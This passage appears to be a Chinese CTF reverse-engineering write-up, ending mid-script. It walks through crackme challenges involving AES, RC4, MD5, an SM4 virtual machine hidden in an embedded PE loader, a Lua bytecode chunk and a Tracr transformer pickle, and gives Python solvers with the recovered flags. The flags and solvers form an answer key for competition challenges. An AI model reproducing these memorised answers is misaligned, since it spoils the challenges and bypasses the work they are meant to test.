&lt;img src=&quot;./images/img-08.png&quot; alt=&quot;Figure 8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;密文&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;f2 7b 7e 75 b4 5c 08 fa 19 3c 8a 4a 04 f8 1f 67
1b 05 9c e7 27 40 78 6d 28 f6 a8 b8 06 c6 c5 51
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而分组加密就是AES加密，sub_140001D00生成轮密钥，sub_140001A00: 对 16 字节分组加密&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-09.png&quot; alt=&quot;Figure 9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-10.png&quot; alt=&quot;Figure 10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用的key是1234123412341234AES!&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from __future__ import annotations

from Crypto.Cipher import AES

ILLUSION_TARGET = (
    bytes.fromhex(&quot;d5 0a fb 84&quot;)
    + bytes.fromhex(&quot;0a 8f 2c e7&quot;)
    + bytes.fromhex(&quot;27 d9 56 3e&quot;)
    + bytes.fromhex(&quot;f3 6c 29 ab&quot;)
    + bytes.fromhex(&quot;19 54&quot;)
)
ILLUSION_KEY = b&quot;nev_gona_give_up&quot;

REAL_WORLD_KEY = bytes.fromhex(&quot;12 34 12 34 12 34 12 34 12 34 12 34 41 45 53 21&quot;)
REAL_WORLD_TARGET = bytes.fromhex(
    &quot;f2 7b 7e 75 b4 5c 08 fa 19 3c 8a 4a 04 f8 1f 67&quot;
    &quot; 1b 05 9c e7 27 40 78 6d 28 f6 a8 b8 06 c6 c5 51&quot;
)


def rc4_keystream(key: bytes, length: int) -&amp;gt; bytes:
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i % len(key)]) &amp;amp; 0xFF
        s[i], s[j] = s[j], s[i]

    out = bytearray()
    i = 0
    j = 0
    for _ in range(length):
        i = (i + 1) &amp;amp; 0xFF
        j = (j + s[i]) &amp;amp; 0xFF
        s[i], s[j] = s[j], s[i]
        out.append(s[(s[i] + s[j]) &amp;amp; 0xFF])
    return bytes(out)


def main() -&amp;gt; None:
    illusion_middle = bytes(
        c ^ k
        for c, k in zip(
            ILLUSION_TARGET, rc4_keystream(ILLUSION_KEY, len(ILLUSION_TARGET))
        )
    )
    illusion_flag = b&quot;xmctf{&quot; + illusion_middle + b&quot;}&quot;

    real_world_plain = AES.new(REAL_WORLD_KEY, AES.MODE_ECB).decrypt(REAL_WORLD_TARGET)
    real_world_middle = real_world_plain[:18]
    real_world_flag = b&quot;xmctf{&quot; + real_world_middle + b&quot;}&quot;

    print(&quot;illusion middle :&quot;, repr(illusion_middle))
    print(&quot;illusion flag   :&quot;, repr(illusion_flag))
    print(&quot;real middle     :&quot;, real_world_middle.decode())
    print(&quot;real flag       :&quot;, real_world_flag.decode())
    print(&quot;real flag hex   :&quot;, real_world_flag.hex())
if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;xmctf{R3a1_w0rld_M47ters}&lt;/p&gt;
&lt;h1&gt;移动的秘密&lt;/h1&gt;
&lt;p&gt;这题是移位加md5&lt;/p&gt;
&lt;p&gt;main函数中关键的一句input[i] &amp;gt;&amp;gt; 1 == target[i]，右移丢掉最低位&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-11.png&quot; alt=&quot;Figure 11&quot; /&gt;&lt;/p&gt;
&lt;p&gt;右移之后对比的常量在xmmword_3080，xmmword_3090，小端序读取&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-12.png&quot; alt=&quot;Figure 12&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-13.png&quot; alt=&quot;Figure 13&quot; /&gt;&lt;/p&gt;
&lt;p&gt;值得注意的是第二段是从v14[13]开始覆盖，所以最终比对的常量为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3c 36 31 3a 33 3d 3b 32 36 31 18 36 32 2f 19 2f 38 37 36 30 39 18 39 2f 18 18 19 19 3e
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MD5的实现是标准的&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-14.png&quot; alt=&quot;Figure 14&quot; /&gt;&lt;/p&gt;
&lt;p&gt;初始的IV&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-15.png&quot; alt=&quot;Figure 15&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后就是把移位与md5后的常量与存放在xmmword_3070的常量比对&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-16.png&quot; alt=&quot;Figure 16&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-17.png&quot; alt=&quot;Figure 17&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import hashlib
import itertools
import string

target_shift = [
    0x3c, 0x36, 0x31, 0x3a, 0x33, 0x3d, 0x3b, 0x32, 0x36, 0x31,
    0x18, 0x36, 0x32, 0x2f, 0x19, 0x2f, 0x38, 0x37, 0x36, 0x30,
    0x39, 0x18, 0x39, 0x2f, 0x18, 0x18, 0x19, 0x19, 0x3e
]

target_md5 = bytes.fromhex(&quot;3a22c098710019b31c328a861429d3ad&quot;)

allowed = set((string.ascii_lowercase + string.digits + &quot;{}_&quot;).encode())

cands = []
for b in target_shift:
    cur = []
    for x in (2 * b, 2 * b + 1):
        if 0 &amp;lt;= x &amp;lt;= 255 and x in allowed:
            cur.append(chr(x))
    cands.append(cur)

for i, cs in enumerate(cands):
    print(i, cs)

print(&quot;total =&quot;, eval(&quot;*&quot;.join(str(len(x)) for x in cands)))

for prod in itertools.product(*cands):
    s = &quot;&quot;.join(prod)
    if hashlib.md5(s.encode()).digest() == target_md5:
        print(&quot;FOUND:&quot;, s)
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;xmctf{welc0me_2_polar1s_1022}&lt;/p&gt;
&lt;h1&gt;ezFinger&lt;/h1&gt;
&lt;p&gt;题目给的提示猜函数名&lt;/p&gt;
&lt;p&gt;依据文件名以及字符串提示，可以看到STM32&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-18.png&quot; alt=&quot;Figure 18&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-19.png&quot; alt=&quot;Figure 19&quot; /&gt;&lt;/p&gt;
&lt;p&gt;搜了一下，得知STM32 就是很常见的一类 ARM 单片机平台&lt;/p&gt;
&lt;p&gt;题目的附件名也刚好与github上的对应，确认方向无误，感觉像是那种根据函数功能猜是哪个API的类型&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-20.png&quot; alt=&quot;Figure 20&quot; /&gt;&lt;/p&gt;
&lt;p&gt;IDA打开看sub_8003498函数，读取 RCC-&amp;gt;CFGR 和 RCC-&amp;gt;PLLCFGR，按 HSI/HSE/PLL 三种时钟源计算 SYSCLK，和官方 HAL_RCC_GetSysClockFreq() 完全一致&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-21.png&quot; alt=&quot;Figure 21&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再看sub_8000EC0函数，他的功能不是初始化引脚，而是对已配置引脚执行电平输出：参数先经引脚映射表转换，随后检查配置状态，最终调用底层 GPIO 写接口将 ulVal 写入对应端口位，因此可恢复为 digitalWrite()&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-22.png&quot; alt=&quot;Figure 22&quot; /&gt;&lt;/p&gt;
&lt;p&gt;xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}&lt;/p&gt;
&lt;h1&gt;Hulua&lt;/h1&gt;
&lt;p&gt;start函数是程序入口，sub_140001180函数是CRT的初始化流程&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-23.png&quot; alt=&quot;Figure 23&quot; /&gt;&lt;/p&gt;
&lt;p&gt;真正的题目逻辑在sub_14000157F函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-24.png&quot; alt=&quot;Figure 24&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入该函数&lt;/p&gt;
&lt;p&gt;会把用户的输入放进全局变量user_input，然后执行内嵌的Lua chunk&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-25.png&quot; alt=&quot;Figure 25&quot; /&gt;&lt;/p&gt;
&lt;p&gt;内嵌函数在这个主函数的开头就是sub_140026690函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-26.png&quot; alt=&quot;Figure 26&quot; /&gt;&lt;/p&gt;
&lt;p&gt;它会再次调用sub_140026610函数，sub_140026610会扫描 .rdata:14003A6C0 中的函数指针数组&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-27.png&quot; alt=&quot;Figure 27&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而sub_1400014A4函数会在这里被加载&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-28.png&quot; alt=&quot;Figure 28&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个函数会有key‘hulua’对byte_140033000进行异或&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-29.png&quot; alt=&quot;Figure 29&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-30.png&quot; alt=&quot;Figure 30&quot; /&gt;&lt;/p&gt;
&lt;p&gt;异或后得到的就是标准的Lua 5.3 precomplied chunk&lt;/p&gt;
&lt;p&gt;用010打开得到的Lua字节码，拿到两个关键常量&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;78 6D 63 74 66 32 30 32 36&quot;
&quot;8B 8B 77 BE 68 61 86 68 E5 63 EE 84 35 6F 58 C8 51 0F 6E 94 70 E7 26 90 B6 75 EC 28 AF 14 E2 E3&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一个字符串转换后得到xmctf2026&lt;/p&gt;
&lt;p&gt;第二个是目标密文&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-31.png&quot; alt=&quot;Figure 31&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对整个文件解析课还原为一个函数逻辑&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;```lua
if user_input == nil then
    return false
end

if #user_input ~= 32 then
    return false
end

key = hex_to_bytes(&quot;78 6D 63 74 66 32 30 32 36&quot;)
target = hex_to_bytes(&quot;8B 8B 77 BE 68 61 86 68 E5 63 EE 84 35 6F 58 C8 51 0F 6E 94 70 E7 26 90 B6 75 EC 28 AF 14 E2 E3&quot;)

return rc4_xor66(key, user_input) == target
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;
解题脚本

```python
def hex_spaced_to_bytes(s: str) -&amp;gt; bytes:
    return bytes(int(x,16) for x in s.split())

def transform(key: bytes, data: bytes) -&amp;gt; bytes:
    S = list(range(256))
    key_bytes = list(key)
    j = 0
    for i in range(256):
        j = (j + S[i] + key_bytes[(i % len(key_bytes))]) % 256
        S[i], S[j] = S[j], S[i]
    i = 0
    j = 0
    out = []
    for b in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        out.append(b ^ k ^ 102)
    return bytes(out)

if __name__ == &apos;__main__&apos;:
    key = hex_spaced_to_bytes(&apos;78 6D 63 74 66 32 30 32 36&apos;)
    cipher = hex_spaced_to_bytes(&apos;8B 8B 77 BE 68 61 86 68 E5 63 EE 84 35 6F 58 C8 51 0F 6E 94 70 E7 26 90 B6 75 EC 28 AF 14 E2 E3&apos;)
    print(transform(key, cipher).decode())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;xmctf{lu4t1c_r3v3rs3_ch4ll3ng3!}&lt;/p&gt;
&lt;h1&gt;Disguise&lt;/h1&gt;
&lt;p&gt;从start函数一路跟踪到sub_4135E0函数，有花指令反编译不成功，去完后反编译得到&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-32.png&quot; alt=&quot;Figure 32&quot; /&gt;&lt;/p&gt;
&lt;p&gt;返回的两个输出一个是“This is not the riaht place”与“no”都说明这不是真正的加密逻辑&lt;/p&gt;
&lt;p&gt;解密得到“This is a fake flag”，也证实了&lt;/p&gt;
&lt;p&gt;既然这里是假的，就往前看初始函数，发现会有两个用户构造函数在dword_419000 ~ dword_419314&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-33.png&quot; alt=&quot;Figure 33&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-34.png&quot; alt=&quot;Figure 34&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在第一个函数sub_411830里调用sub_4113B1函数，再调用sub_412C10，是对数组逐字节异或7，解除一份新PE&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-35.png&quot; alt=&quot;Figure 35&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-36.png&quot; alt=&quot;Figure 36&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而第二个函数是拿第一个函数异或后的数组，也就是新PE文件，为他生成loader&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-37.png&quot; alt=&quot;Figure 37&quot; /&gt;&lt;/p&gt;
&lt;p&gt;借助AI把这个PE文件搞出来后，再用IDA打开，就能看到真的验证逻辑&lt;/p&gt;
&lt;p&gt;长度为48，最后与dword_421018对比&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-38.png&quot; alt=&quot;Figure 38&quot; /&gt;&lt;/p&gt;
&lt;p&gt;加密的实现是一个VM，在sub_411401里&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-39.png&quot; alt=&quot;Figure 39&quot; /&gt;&lt;/p&gt;
&lt;p&gt;比如看第一个是一个加法&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-40.png&quot; alt=&quot;Figure 40&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二个是异或&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-41.png&quot; alt=&quot;Figure 41&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后的也依次把相对应的指令看出来&lt;/p&gt;
&lt;p&gt;vm看完，在case0的位置，看到是一个SM4加密，输入输出都用大端序&lt;/p&gt;
&lt;p&gt;S-box 0x41EC30，&lt;/p&gt;
&lt;p&gt;CK 0x41F030，&lt;/p&gt;
&lt;p&gt;FK 0x422010，&lt;/p&gt;
&lt;p&gt;key 字符串 0x421000，&lt;/p&gt;
&lt;p&gt;目标密文 0x421018。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-42.png&quot; alt=&quot;Figure 42&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from __future__ import annotations

import struct
from pathlib import Path

MASK32 = 0xFFFFFFFF

def load_pe(path: Path):
    data = path.read_bytes()
    peoff = struct.unpack_from(&quot;&amp;lt;I&quot;, data, 0x3C)[0]
    num_sections = struct.unpack_from(&quot;&amp;lt;H&quot;, data, peoff + 6)[0]
    opt_size = struct.unpack_from(&quot;&amp;lt;H&quot;, data, peoff + 20)[0]
    image_base = struct.unpack_from(&quot;&amp;lt;I&quot;, data, peoff + 24 + 28)[0]
    section_table = peoff + 24 + opt_size
    sections = []
    for i in range(num_sections):
        off = section_table + 40 * i
        name = data[off : off + 8].rstrip(b&quot;\x00&quot;).decode(errors=&quot;ignore&quot;)
        vsize, vaddr, raw_size, raw_off = struct.unpack_from(&quot;&amp;lt;IIII&quot;, data, off + 8)
        sections.append((name, vaddr, raw_size, raw_off))

    def va_to_off(va: int) -&amp;gt; int:
        rva = va - image_base
        for _, vaddr, raw_size, raw_off in sections:
            if vaddr &amp;lt;= rva &amp;lt; vaddr + raw_size:
                return raw_off + (rva - vaddr)
        raise ValueError(f&quot;VA {va:#x} is outside file-backed ranges&quot;)

    def dword(va: int) -&amp;gt; int:
        return struct.unpack_from(&quot;&amp;lt;I&quot;, data, va_to_off(va))[0]

    def blob(va: int, size: int) -&amp;gt; bytes:
        off = va_to_off(va)
        return data[off : off + size]

    return dword, blob

def rol32(x: int, n: int) -&amp;gt; int:
    return ((x &amp;lt;&amp;lt; n) | (x &amp;gt;&amp;gt; (32 - n))) &amp;amp; MASK32

def tau(x: int, sbox: list[int]) -&amp;gt; int:
    return (
        (sbox[(x &amp;gt;&amp;gt; 24) &amp;amp; 0xFF] &amp;lt;&amp;lt; 24)
        | (sbox[(x &amp;gt;&amp;gt; 16) &amp;amp; 0xFF] &amp;lt;&amp;lt; 16)
        | (sbox[(x &amp;gt;&amp;gt; 8) &amp;amp; 0xFF] &amp;lt;&amp;lt; 8)
        | sbox[x &amp;amp; 0xFF]
    ) &amp;amp; MASK32

def build_round_keys(fk: list[int], mk: list[int], ck: list[int], sbox: list[int]) -&amp;gt; list[int]:
    k = [(fk[i] ^ mk[i]) &amp;amp; MASK32 for i in range(4)]
    rk: list[int] = []
    for i in range(32):
        t = (k[(i + 1) &amp;amp; 3] ^ k[(i + 2) &amp;amp; 3] ^ k[(i + 3) &amp;amp; 3] ^ ck[i]) &amp;amp; MASK32
        b = tau(t, sbox)
        lp = (b ^ rol32(b, 13) ^ rol32(b, 23)) &amp;amp; MASK32
        k[i &amp;amp; 3] ^= lp
        k[i &amp;amp; 3] &amp;amp;= MASK32
        rk.append(k[i &amp;amp; 3])
    return rk

def crypt_block(words: list[int], rk: list[int], sbox: list[int]) -&amp;gt; list[int]:
    x = words[:]
    for i in range(32):
        t = (x[(i + 1) &amp;amp; 3] ^ x[(i + 2) &amp;amp; 3] ^ x[(i + 3) &amp;amp; 3] ^ rk[i]) &amp;amp; MASK32
        b = tau(t, sbox)
        l = (b ^ rol32(b, 2) ^ rol32(b, 10) ^ rol32(b, 18) ^ rol32(b, 24)) &amp;amp; MASK32
        x[i &amp;amp; 3] ^= l
        x[i &amp;amp; 3] &amp;amp;= MASK32
    return [x[3], x[2], x[1], x[0]]

def decrypt_target(pe_path: Path) -&amp;gt; bytes:
    dword, blob = load_pe(pe_path)

    sbox = [dword(0x41EC30 + 4 * i) &amp;amp; 0xFF for i in range(256)]
    ck = [dword(0x41F030 + 4 * i) &amp;amp; MASK32 for i in range(32)]
    fk = [dword(0x422010 + 4 * i) &amp;amp; MASK32 for i in range(4)]
    mk_bytes = blob(0x421000, 16)
    mk = [int.from_bytes(mk_bytes[4 * i : 4 * i + 4], &quot;big&quot;) for i in range(4)]
    target = [dword(0x421018 + 4 * i) &amp;amp; MASK32 for i in range(12)]

    rk = build_round_keys(fk, mk, ck, sbox)
    plain = bytearray()
    for block_index in range(0, 12, 4):
        words = target[block_index : block_index + 4]
        decrypted = crypt_block(words, list(reversed(rk)), sbox)
        for word in decrypted:
            plain.extend(word.to_bytes(4, &quot;big&quot;))
    return bytes(plain)

def main() -&amp;gt; None:
    pe_path = Path(__file__).with_name(&quot;inner_payload.bin&quot;)
    flag = decrypt_target(pe_path)
    print(flag.decode(&quot;ascii&quot;))


if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;xmctf{We1c0me_t0_the_w0r1d_0f_VM_And_PEL0ader!!}&lt;/p&gt;
&lt;h1&gt;hajimi&lt;/h1&gt;
&lt;p&gt;题目给了一个py脚本和一个压缩包&lt;/p&gt;
&lt;p&gt;先看py脚本，输入长度为16，必须为1到4，把输入拆成 token，前面补一个 &lt;code&gt;BOS&lt;/code&gt;。&lt;br /&gt;
加载 &lt;code&gt;challenge.pkl.zst&lt;/code&gt; 中的模型并执行。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-43.png&quot; alt=&quot;Figure 43&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-44.png&quot; alt=&quot;Figure 44&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-45.png&quot; alt=&quot;Figure 45&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解压缩包得到pkl文件，交给AI来分析，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;看到很多明显的 Tracr 痕迹：

- `tracr.transformer.encoder.CategoricalEncoder`
- `tracr.craft.bases.VectorSpaceWithBasis`
- `residual_labels`
- `tokens:*`
- `sequence_map_1:*`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;是一个用 Tracr 编译出来的 transformer 检查器，把它用 numpy 重建后，找唯一的4*4数独解&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;反序列化后拿到的关键信息如下：
config:
  num_heads: 5
  num_layers: 13
  key_size: 257
  mlp_hidden_size: 1290
  dropout_rate: 0.0
  activation_function: relu
  layer_norm: False
  causal: False
- 输入 token 空间包含 `BOS`、`1`、`2`、`3`、`4`
- 输出 token 空间只包含少数字符，足够拼出：
  - `Wrong grid.`
  - `Grid accepted.`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import itertools
import pickle
import sys
import types
from pathlib import Path

import numpy as np

PKL_PATH = Path(r&quot;E:\ctf\polarisctf\hajimi\challenge.pkl\challenge.pkl&quot;)

class CategoricalEncoder:
    pass

class VectorSpaceWithBasis:
    pass

class BasisDirection:
    pass

def install_pickle_stubs() -&amp;gt; None:
    jax_mod = types.ModuleType(&quot;jax&quot;)
    jax_src_mod = types.ModuleType(&quot;jax._src&quot;)
    jax_array_mod = types.ModuleType(&quot;jax._src.array&quot;)
    tracr_mod = types.ModuleType(&quot;tracr&quot;)
    tracr_transformer_mod = types.ModuleType(&quot;tracr.transformer&quot;)
    tracr_encoder_mod = types.ModuleType(&quot;tracr.transformer.encoder&quot;)
    tracr_craft_mod = types.ModuleType(&quot;tracr.craft&quot;)
    tracr_bases_mod = types.ModuleType(&quot;tracr.craft.bases&quot;)

    def jax_reconstruct_array(_np_func, _ctor_args, array_state, _meta):
        _, shape, dtype, is_fortran, raw = array_state[:5]
        order = &quot;F&quot; if is_fortran else &quot;C&quot;
        return np.frombuffer(raw, dtype=dtype).reshape(shape, order=order).copy()

    jax_array_mod._reconstruct_array = jax_reconstruct_array
    tracr_encoder_mod.CategoricalEncoder = CategoricalEncoder
    tracr_bases_mod.VectorSpaceWithBasis = VectorSpaceWithBasis
    tracr_bases_mod.BasisDirection = BasisDirection

    sys.modules.update(
        {
            &quot;jax&quot;: jax_mod,
            &quot;jax._src&quot;: jax_src_mod,
            &quot;jax._src.array&quot;: jax_array_mod,
            &quot;tracr&quot;: tracr_mod,
            &quot;tracr.transformer&quot;: tracr_transformer_mod,
            &quot;tracr.transformer.encoder&quot;: tracr_encoder_mod,
            &quot;tracr.craft&quot;: tracr_craft_mod,
            &quot;tracr.craft.bases&quot;: tracr_bases_mod,
        }
    )

def load_model_object():
    install_pickle_stubs()
    with PKL_PATH.open(&quot;rb&quot;) as fp:
        return pickle.load(fp)

def softmax(x: np.ndarray, axis: int = -1) -&amp;gt; np.ndarray:
    x = x - x.max(axis=axis, keepdims=True)
    exp_x = np.exp(x)
    return exp_x / exp_x.sum(axis=axis, keepdims=True)


def build_runner(model_obj):
    config = model_obj[&quot;config&quot;]
    params = model_obj[&quot;params&quot;]
    residual_labels = model_obj[&quot;residual_labels&quot;]
    input_encoder = model_obj[&quot;input_encoder&quot;]
    output_encoder = model_obj[&quot;output_encoder&quot;]

    num_heads = config[&quot;num_heads&quot;]
    key_size = config[&quot;key_size&quot;]
    out_indices = np.array(
        [
            residual_labels.index(f&quot;sequence_map_1:{token}&quot;)
            for token in output_encoder.encoding_map
        ]
    )
    rev_output = {value: token for token, value in output_encoder.encoding_map.items()}

    def run_batch(grids: list[str]) -&amp;gt; list[str]:
        batch = len(grids)
        seq_len = 17
        ids = np.array(
            [
                [input_encoder.encoding_map[token] for token in [&quot;BOS&quot;, *grid]]
                for grid in grids
            ],
            dtype=np.int64,
        )

        x = (
            params[&quot;token_embed&quot;][&quot;embeddings&quot;][ids]
            + params[&quot;pos_embed&quot;][&quot;embeddings&quot;][np.arange(seq_len)][None, :, :]
        )

        for layer in range(config[&quot;num_layers&quot;]):
            prefix = f&quot;transformer/layer_{layer}&quot;
            q = (
                x @ params[f&quot;{prefix}/attn/query&quot;][&quot;w&quot;]
                + params[f&quot;{prefix}/attn/query&quot;][&quot;b&quot;]
            ).reshape(batch, seq_len, num_heads, key_size)
            k = (
                x @ params[f&quot;{prefix}/attn/key&quot;][&quot;w&quot;]
                + params[f&quot;{prefix}/attn/key&quot;][&quot;b&quot;]
            ).reshape(batch, seq_len, num_heads, key_size)
            v = (
                x @ params[f&quot;{prefix}/attn/value&quot;][&quot;w&quot;]
                + params[f&quot;{prefix}/attn/value&quot;][&quot;b&quot;]
            ).reshape(batch, seq_len, num_heads, key_size)

            scores = np.einsum(&quot;bthd,bshd-&amp;gt;bhts&quot;, q, k) / np.sqrt(key_size)
            attn = softmax(scores, axis=-1)
            y = np.einsum(&quot;bhts,bshd-&amp;gt;bthd&quot;, attn, v).reshape(
                batch, seq_len, num_heads * key_size
            )

            x = x + (
                y @ params[f&quot;{prefix}/attn/linear&quot;][&quot;w&quot;]
                + params[f&quot;{prefix}/attn/linear&quot;][&quot;b&quot;]
            )

            mlp = np.maximum(
                0,
                x @ params[f&quot;{prefix}/mlp/linear_1&quot;][&quot;w&quot;]
                + params[f&quot;{prefix}/mlp/linear_1&quot;][&quot;b&quot;],
            )
            x = x + (
                mlp @ params[f&quot;{prefix}/mlp/linear_2&quot;][&quot;w&quot;]
                + params[f&quot;{prefix}/mlp/linear_2&quot;][&quot;b&quot;]
            )

        pred_ids = x[:, :, out_indices].argmax(axis=-1)
        messages = []
        for row in pred_ids:
            tokens = [rev_output[int(i)] for i in row]
            if &quot;EOS&quot; in tokens:
                tokens = tokens[: tokens.index(&quot;EOS&quot;)]
            messages.append(&quot;&quot;.join(tokens[1:]))
        return messages

    return run_batch

def enumerate_shidoku() -&amp;gt; list[str]:
    rows = [&quot;&quot;.join(p) for p in itertools.permutations(&quot;1234&quot;)]
    solutions: list[str] = []

    def ok_prefix(board: list[str], row_idx: int) -&amp;gt; bool:
        for col in range(4):
            col_vals = [board[i][col] for i in range(row_idx + 1)]
            if len(set(col_vals)) != len(col_vals):
                return False

        if row_idx % 2 == 1:
            top = row_idx - 1
            for left in (0, 2):
                block = [
                    board[top][left],
                    board[top][left + 1],
                    board[top + 1][left],
                    board[top + 1][left + 1],
                ]
                if set(block) != {&quot;1&quot;, &quot;2&quot;, &quot;3&quot;, &quot;4&quot;}:
                    return False
        return True

    def dfs(board: list[str]) -&amp;gt; None:
        row_idx = len(board)
        if row_idx == 4:
            solutions.append(&quot;&quot;.join(board))
            return
        for row in rows:
            board.append(row)
            if ok_prefix(board, row_idx):
                dfs(board)
            board.pop()

    dfs([])
    return solutions

def main() -&amp;gt; None:
    if not PKL_PATH.exists():
